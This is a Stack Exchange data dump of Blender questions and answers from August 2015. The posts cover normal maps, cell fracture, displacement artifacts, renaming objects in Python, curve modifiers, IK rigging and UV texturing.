  <row Id="36093" PostTypeId="1" CreationDate="2015-08-20T15:54:57.063" Score="2" ViewCount="9129" Body="&lt;p&gt;Only Bump seems to be showing the concavity I'm looking for (not with the same map, I use an inverted version of the B&amp;amp;W spec map you see in the nodes setup).&#xA;But the moment I switch to Normal (the nodes setup below), not only the concavity won't show, but the glossiness is gone!. &#xA;This Bump is not too shabby, but Normal is supposed to be better. Plus not knowing why is not working is killing me!&lt;br&gt;&#xA;Should you want to inspect a simple &lt;a href=&quot;http://www.pasteall.org/blend/37665&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/dOWK2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dOWK2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; I made, by all means!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance guys!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/h3glv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h3glv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/yRXQO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yRXQO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JDL&lt;/p&gt;&#xA;" OwnerUserId="15508" LastActivityDate="2015-09-21T05:02:10.110" Title="Why is my Normal map not working?" Tags="&lt;cycles-render-engine&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36094" PostTypeId="1" CreationDate="2015-08-20T16:20:43.107" Score="9" ViewCount="2550" Body="&lt;p&gt;I was watching a video &lt;a href=&quot;https://www.youtube.com/watch?v=FIPu9_OGFgc&quot; rel=&quot;noreferrer&quot;&gt;(link to video)&lt;/a&gt; video and you could only see the shards where the places have hit the ground, but when I do cell fracture you can see the cracks before they've impacted with anything. I've checked on google and couldn't find anything. Also I want it so that the cracks only show up in the places that have been hit. For example, if a corner of a cube hit the ground then only the cracks in the corner will show and the rest of the cube will remain solid and intact. Watch the video I linked if you don't understand what I'm asking, it could help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of my problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tQzdT.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tQzdT.png&quot; alt=&quot;Example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a cell fracture test with 0 margin but still got cracks where I don't want them (I know it's blurry, I just like my depth of field and motion blur) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LMicg.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LMicg.jpg&quot; alt=&quot;Test&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GNRw8.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GNRw8.png&quot; alt=&quot;Test With Writing&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the same with a stationary cube with 0 margin which hasn't been hit. You can still see lines where the cracks are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The examples in the video where it's show without any cracks where it hasn't been hit is in the first scene with the text and in the other seen with the horse. You can see that the top of the text has no lines or cracks until it hits the floor and it's the same with the horses body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you recreate how the fracture in Phymec's video?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorUserId="9711" LastEditDate="2015-08-20T20:04:29.237" LastActivityDate="2019-06-11T13:11:40.003" Title="How would you hide the cracks in cell fracture?" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="12" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36095" PostTypeId="1" AcceptedAnswerId="36184" CreationDate="2015-08-20T16:26:03.307" Score="3" ViewCount="1702" Body="&lt;p&gt;Got a big plane, sculpted some hills, put a displacement modifier on the plane, the coordinates are a uv map for just the hills. Now there is these nasty artifacts at the borders of the whole thing. Also notice how high the strength is, usually you have to set it lower than 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy workaround to get rid of the artifacts or do I need to sculpt it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the reason for the high strength of the modifier to see results of the displacement?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pify7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pify7.png&quot; alt=&quot;displacement artifacts&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sculpted hill. The selection is the uv map which the modifier gets applied to. (one won't see the back of it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yrZg6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yrZg6.png&quot; alt=&quot;sculpted hill&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The displacement map. Don't worry about the upper part it's from a hill somewhere else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Z7NXj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z7NXj.png&quot; alt=&quot;displacement map&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="11484" LastEditDate="2015-08-20T16:50:05.580" LastActivityDate="2015-08-22T05:56:31.373" Title="How to get rid of these displacement artifacts?" Tags="&lt;texturing&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36096" PostTypeId="2" ParentId="35847" CreationDate="2015-08-20T17:12:21.730" Score="1" Body="&lt;p&gt;By clicking the &lt;em&gt;+&lt;/em&gt; next to the theme name you can save your current settings for your own theme. You can then select your theme after you choose factory default settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kv8pL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kv8pL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A gotcha with this is that the theme gets saved inside the blender installed files, so can be overwritten or deleted as blender is updated. To keep your theme for future versions you should find the saved file and move it into your configuration folder. Within the files installed for blender you will find your theme inside &lt;em&gt;2.75/scripts/presets/interface_theme&lt;/em&gt; (adjust 2.75 to match your current blender version). Locate your &lt;a href=&quot;http://www.blender.org/manual/getting_started/installing_blender/directorylayout.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender configuration folder&lt;/a&gt; and create a matching path and move your theme there. On a *nix system that would be &lt;em&gt;$HOME/.config/blender/2.75/scripts/presets/interface_theme/MyTheme.xml&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-08-20T17:12:21.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36097" PostTypeId="2" ParentId="36094" CreationDate="2015-08-20T17:16:48.837" Score="3" Body="&lt;p&gt;You could put the unsharded cube in one layer and the shards in another layer:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;by selecting the shards&lt;/li&gt;&#xA;&lt;li&gt;using &lt;kbd&gt;M&lt;/kbd&gt; and click the other layer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(the shards are already put in another layer by default when using the cell fracture)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Then in the properties panel, in the renderlayers tab you could use keyframes in the &lt;em&gt;exclude&lt;/em&gt; section (assuming you use cycles render).&#xA;Before collision, keyframe in such a way that only the shards-layer is active in the &lt;em&gt;exclude&lt;/em&gt; section. After collision, keyframe in such a way that only the unsharded-layer is active in the &lt;em&gt;exclude&lt;/em&gt; section. Make sure in the &lt;em&gt;scene&lt;/em&gt; section both the layers are active.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But using this &lt;em&gt;exclude&lt;/em&gt; method, just must make sure the unsharded cube and shard move in a same way for smooth transition during switching excluded layers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the collision occurs at frame 100. Then at frame 100, it looks like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BlDKf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BlDKf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;And at frame 101:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6zofF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6zofF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the cube break more realistically, you could use the Bullet constraint tool &lt;a href=&quot;https://www.dropbox.com/s/fq3nmhl4b6yyhc3/Bullet_Viewport_Constraints_Tool.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/fq3nmhl4b6yyhc3/Bullet_Viewport_Constraints_Tool.zip&lt;/a&gt;&#xA;Select shards, define your Search Radius (100 works ok) and Neighbour limit (10 works ok), and turn on breakable (enable checkbox twice!) and define the breakable value (higher value make it less easy to break).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you make changes in these variables (while shards selected), then click 'update selected'&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-08-20T17:48:31.567" LastActivityDate="2015-08-20T17:48:31.567" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36098" PostTypeId="2" ParentId="36095" CreationDate="2015-08-20T17:54:24.170" Score="1" Body="&lt;p&gt;Ok, if there is no simple workaround at least there is the difficult, manual way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just flip the plane upside down (bottom view with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;7&lt;/kbd&gt;) and use the &lt;em&gt;Smooth brush&lt;/em&gt; on the inner normals of the edge, works like a charm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end there is still a little bit of a hollow, just go into top view and use the &lt;em&gt;Flatten brush&lt;/em&gt; (with caution) on the outer normals, et voilà.&lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="241" LastEditDate="2015-08-20T17:59:36.527" LastActivityDate="2015-08-20T17:59:36.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36100" PostTypeId="1" AcceptedAnswerId="36101" CreationDate="2015-08-20T19:02:39.840" Score="2" ViewCount="2282" Body="&lt;p&gt;So this is a fairly straight forward thing I want to do. Basically I've got a mesh named XXXX_HP and I want it to find the &quot;_HP&quot; and replace that with &quot;_LP&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked through the various object.name functions and &lt;code&gt;object.name.replace()&lt;/code&gt; seemed the most obvious to use, but it doesn't seem to do what I expected it to do. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.context.object.name.replace(&quot;_HP&quot;, &quot;_LP&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16563" LastEditorUserId="2217" LastEditDate="2015-08-20T19:31:48.887" LastActivityDate="2016-02-03T18:18:21.607" Title="Replacing part of an object's name with object.name.replace?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36101" PostTypeId="2" ParentId="36100" CreationDate="2015-08-20T19:15:10.713" Score="6" Body="&lt;p&gt;Replace is a string function that comes from python's string object.&#xA;Since an object's name is a string property class, that inherits some props and methods from python's built in string class, it also gets the replace method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The string replace method doesn't replace in place, but returns a string with the replacement applied. Which means that what you actually need to do is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.name = bpy.context.object.name.replace(&quot;_HP&quot;, &quot;_LP&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-08-20T19:15:10.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36103" PostTypeId="1" AcceptedAnswerId="36115" CreationDate="2015-08-20T21:02:48.533" Score="4" ViewCount="1116" Body="&lt;p&gt;How do I make a ribbon follow a Beizer curve? I've found ways to make a round pipe out of a curve but not a flat ribbon.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eY1fC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eY1fC.jpg&quot; alt=&quot;screen shot of curve and ribbon&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16246" LastEditorUserId="2217" LastEditDate="2015-08-21T23:20:58.350" LastActivityDate="2015-08-21T23:20:58.350" Title="Getting a flat, thin, long, cube (ribbon) to follow Beizer curve?" Tags="&lt;modifiers&gt;&lt;objects&gt;&lt;workflow&gt;&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36105" PostTypeId="2" ParentId="36103" CreationDate="2015-08-20T21:33:06.830" Score="4" Body="&lt;p&gt;To follow up with images from Mr Zak's comment, which specified the answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First make sure you have enough subdivisions to deform the &quot;cube&quot; along the curve (loop cut and slide - Ctrl + R, is a quick way to achieve this).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9104i.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9104i.jpg&quot; alt=&quot;Subdivisions&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a curve modifier and set the axis up correctly:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Tiy7q.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tiy7q.jpg&quot; alt=&quot;Curve Modifier&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-08-20T21:33:06.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36106" PostTypeId="2" ParentId="36103" CreationDate="2015-08-20T21:39:36.540" Score="6" Body="&lt;p&gt;Place an object so its origin point is located in the same position as a curve's origin point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FBwv5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FBwv5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subdivide the object as many times you like (being in &lt;em&gt;Edit Mode&lt;/em&gt; press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; and scroll the mouse wheel to increase the number of cuts or just type the number from your numerical keyboard).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fOXTl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fOXTl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;strong&gt;&lt;em&gt;Curve Modifier&lt;/em&gt;&lt;/strong&gt; to the object. In a window under &lt;em&gt;Object:&lt;/em&gt; type the name of your curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9Khkk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Khkk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable &lt;strong&gt;&lt;em&gt;Display modifier in Edit Mode&lt;/em&gt;&lt;/strong&gt; option to easy adjust the lenght of an object and make it fit the curve perfectly. It is very handy as you may change the object's parameters and see how it looks placed on a curve in the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/f8qL7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f8qL7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/R48QX.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R48QX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="8262" LastEditDate="2015-08-21T18:06:16.737" LastActivityDate="2015-08-21T18:06:16.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36107" PostTypeId="2" ParentId="28839" CreationDate="2015-08-20T22:42:06.400" Score="3" Body="&lt;p&gt;If you're building from source make sure the CMake option &lt;code&gt;WITH_CODEC_FFMPEG&lt;/code&gt; is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will use your system's ffmpeg library. Supporting codec's its built with.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-08-20T22:42:06.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36109" PostTypeId="1" CreationDate="2015-08-20T23:12:17.610" Score="3" ViewCount="2878" Body="&lt;p&gt;I have a character who is rigged using 'Rigify'. I've put inverse kinematics on his two forearms and his two shins, and this problem is mainly a problem on his shins. I want his legs to be able to bend &lt;strong&gt;only&lt;/strong&gt; like following:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/UCEcu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UCEcu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;But it can also bend this way, which I want to make impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EjQvD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EjQvD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;So basically - is there a way for an inverse kinematics rig to allow only bending in a certain direction?&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2019-09-23T05:45:33.417" Title="Inverse Kinematics leg/arm rig bending the wrong way" Tags="&lt;rigging&gt;&lt;rigify&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36110" PostTypeId="1" AcceptedAnswerId="36130" CreationDate="2015-08-20T23:17:05.030" Score="1" ViewCount="2200" Body="&lt;p&gt;I'm trying to have a helicopter flying above some clouds. The most elegant way to create clouds that I've seen is using the cloud generator add-on that comes included with blender. When rendering with BI, it works just fine, but in cycles all I can see is the original mesh/bounding box. I've messed around with some volume materials, but I can't figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What materials should I use? Which objects should I apply them to? I've read in several forums that cycles doesn't support some critical volume-related feature that the add-on used, but they were all old, and I think the features have been implemented since then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've tried to do so far is replace the material that the add-on creates automatically with this cycles &quot;equivalent&quot;:&lt;a href=&quot;https://i.stack.imgur.com/lu2k2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lu2k2.png&quot; alt=&quot;node stuffs&quot;&gt;&lt;/a&gt;but it still doesn't work right. I just see a cube with a sphere inside of it:&lt;a href=&quot;https://i.stack.imgur.com/BeOT0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BeOT0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I specifically want to use this add-on, not an alternative way to create clouds&lt;/p&gt;&#xA;" OwnerUserId="15235" LastEditorUserId="15235" LastEditDate="2015-08-21T02:25:15.260" LastActivityDate="2016-01-14T11:29:22.837" Title="cloud generator add-on with cycles" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;add-on&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36111" PostTypeId="2" ParentId="36059" CreationDate="2015-08-20T23:27:14.420" Score="0" Body="&lt;p&gt;I think I figured out how to do what I want but its glitchy and I need help. I kept my original uv map and made a second but unwrapped it from view. I then duplicated the object so I have two objects now. I set the original object to use the original uv map and the second object to use the projected uv map with a different material from the original. I then use cycles and select &quot;diffuse color&quot; as the thing I want to bake, then kept the original objects uv / texture image what I wanted it to be,  and created a new image and assigned it to the duplicated object. So now the original should have the desired texture and the duplicated object should have the default black image as its texture. I then enabled selected to active and hit bake and this is what I get. It works EXACTLY how I want it to be but part of it doesn't bake. &lt;/p&gt;&#xA;" OwnerUserId="2325" LastEditorUserId="3401" LastEditDate="2016-03-18T08:47:46.647" LastActivityDate="2016-03-18T08:47:46.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36112" PostTypeId="1" CreationDate="2015-08-20T23:55:38.883" Score="1" ViewCount="540" Body="&lt;p&gt;You guys have been super helpful so like the neighborhood cat who you fed once... I'm back for more. I'm wondering how I would do these two parts of this stop watch. Specifically that sharp curve that comes up from the body and the handle that the chain clasps on to. I have an idea on how to do the gear turning knob and the two structures on either side of it, but if you want to show me the technique to mold those I won't be unhappy. I'm trying to learn proper technique since I've only been using Blender for two weeks now. Don't want to get any bad habits. Thanks again!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6ofDI.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ofDI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16367" LastActivityDate="2015-08-20T23:55:38.883" Title="How would I make these parts of this pocket watch?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-21T01:15:32.713" ContentLicense="CC BY-SA 3.0" />
  <row Id="36115" PostTypeId="2" ParentId="36103" CreationDate="2015-08-21T02:15:48.633" Score="7" Body="&lt;p&gt;I would make the curve flat by not bending a mesh to fit it, but &quot;beveling&quot; the curve (adding thickness).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a BezierCircle (in addition to the curve you already have)&lt;/li&gt;&#xA;&lt;li&gt;In edit mode convert the handle type to &lt;em&gt;Vector&lt;/em&gt; (super quick way &lt;kbd&gt;V&lt;/kbd&gt;,&lt;kbd&gt;V&lt;/kbd&gt;), that will make it a square.&lt;/li&gt;&#xA;&lt;li&gt;Rotate it 45° along the Z axis (just to make it straight along an axis).&lt;/li&gt;&#xA;&lt;li&gt;Scale the square along the X axis, to make it a thin ribbon.&lt;/li&gt;&#xA;&lt;li&gt;(Last step) On your other curve object set the &lt;em&gt;Bevel Object&lt;/em&gt; to be the &quot;BezierCircle&quot; you added in step one.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/S6a7A.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S6a7A.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-08-21T02:15:48.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36116" PostTypeId="1" AcceptedAnswerId="36125" CreationDate="2015-08-21T02:23:00.863" Score="1" ViewCount="2195" Body="&lt;p&gt;I start with a 1 x 1 x 1 cube set at -9.5 Y units from the origin. I use an empty at the origin as my Center of Deformation. I use the simple deform modifier / Bend with 360 deg as the deform parameter.&#xA;The resulting radius of the ring is about 10.159 and the diameter of the ring is about 20.318.&#xA;Yes, I can scale the ring in X and Y back to the desired Diameter=20, and recenter the ring at the origin. But this introduces a slight error in the inside diameter of the ring that is a challenge to correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to predict what this dimensional difference is before I begin and adjust for it in either the mesh center, cube size, Center of Deformation, or anything else that is predictable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bend Deform is simple, but the outcome is imprecise. Is there a more precise way to construct the ring?&lt;/p&gt;&#xA;" OwnerUserId="16506" LastActivityDate="2015-08-21T06:39:06.380" Title="How can I control the size (Diameter) of a ring that is made with the simple transform / Bend?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36117" PostTypeId="1" AcceptedAnswerId="36120" CreationDate="2015-08-21T03:05:23.877" Score="1" ViewCount="354" Body="&lt;p&gt;The backdrop:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/c5eOC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c5eOC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render result:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MdoR1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MdoR1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output nodes are correctly connected. Not the same, tho.&lt;/p&gt;&#xA;" OwnerUserId="16261" LastActivityDate="2015-08-21T03:53:38.740" Title="Node editor's backdrop and render result are not the same!" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36119" PostTypeId="1" CreationDate="2015-08-21T03:26:34.753" Score="4" ViewCount="304" Body="&lt;p&gt;I am looking for a simple way to repeat part of a texture page uniformly over a large model. On the right you can see my texture page which I am using for multitexturing. On the left you can see the selected faces I have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vk7cq.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vk7cq.jpg&quot; alt=&quot;My Map Model&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is unwrap the selected faces and have them collapse into a square that can fit correctly into the grass area. I also want the texture to repeat and flip horizontally and vertically. I do not want to unwrap it to some other shape and then scale it because this requires that I upsize the texture which is what I've done in other areas and the texture is now 10mb's as a result and far too inefficient for loading into any engine. The reset option under 'U' for unwrap comes close but the edges of the texture do not align properly but it does make a perfect square similar to what I want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The game engine this is targeted for is GameMaker which does not support multi-texturing and I therefore must use a single combined texture. If there is a way I can achieve this without manually moving the texture coordinates and pinning them it would be really helpful, even if I could write a script or a plugin that could accomplish this to save me from having to do it by hand. It's theoretically possible but I doubt at this point that Blender has such built in features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: A clearer indication as to why the U-&gt;Reset feature does not work 100% notice towards the farthest left the edges of the triangle fan are not mapped correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8RmlD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8RmlD.jpg&quot; alt=&quot;Reset Option Not Perfect&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16572" LastEditorUserId="16572" LastEditDate="2015-11-25T04:08:10.417" LastActivityDate="2015-11-25T04:08:10.417" Title="Uniform Texture Page Repeat" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;image&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
